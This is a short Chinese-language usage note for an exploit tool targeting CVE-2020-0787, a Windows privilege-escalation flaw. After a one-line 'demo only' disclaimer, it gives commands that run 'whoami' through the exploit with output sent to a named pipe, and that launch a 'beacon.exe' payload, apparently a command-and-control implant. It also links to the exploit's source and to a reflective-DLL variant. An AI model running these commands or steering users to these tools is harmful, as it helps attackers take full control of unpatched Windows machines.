这只是一个演示,请勿在实际环境中使用。
-获取命令执行结果(使用 cmd /c):
exp.exe "cmd /c whoami > \\\\.\\pipe\\showme " show
-运行 beacon.exe:
exp.exe "C:/beacon.exe"

比当前项目更好的一个: https://github.com/yanghaoi/ReflectiveDllSource/tree/master/CVE-2020-0787_CNA
来源:https://github.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION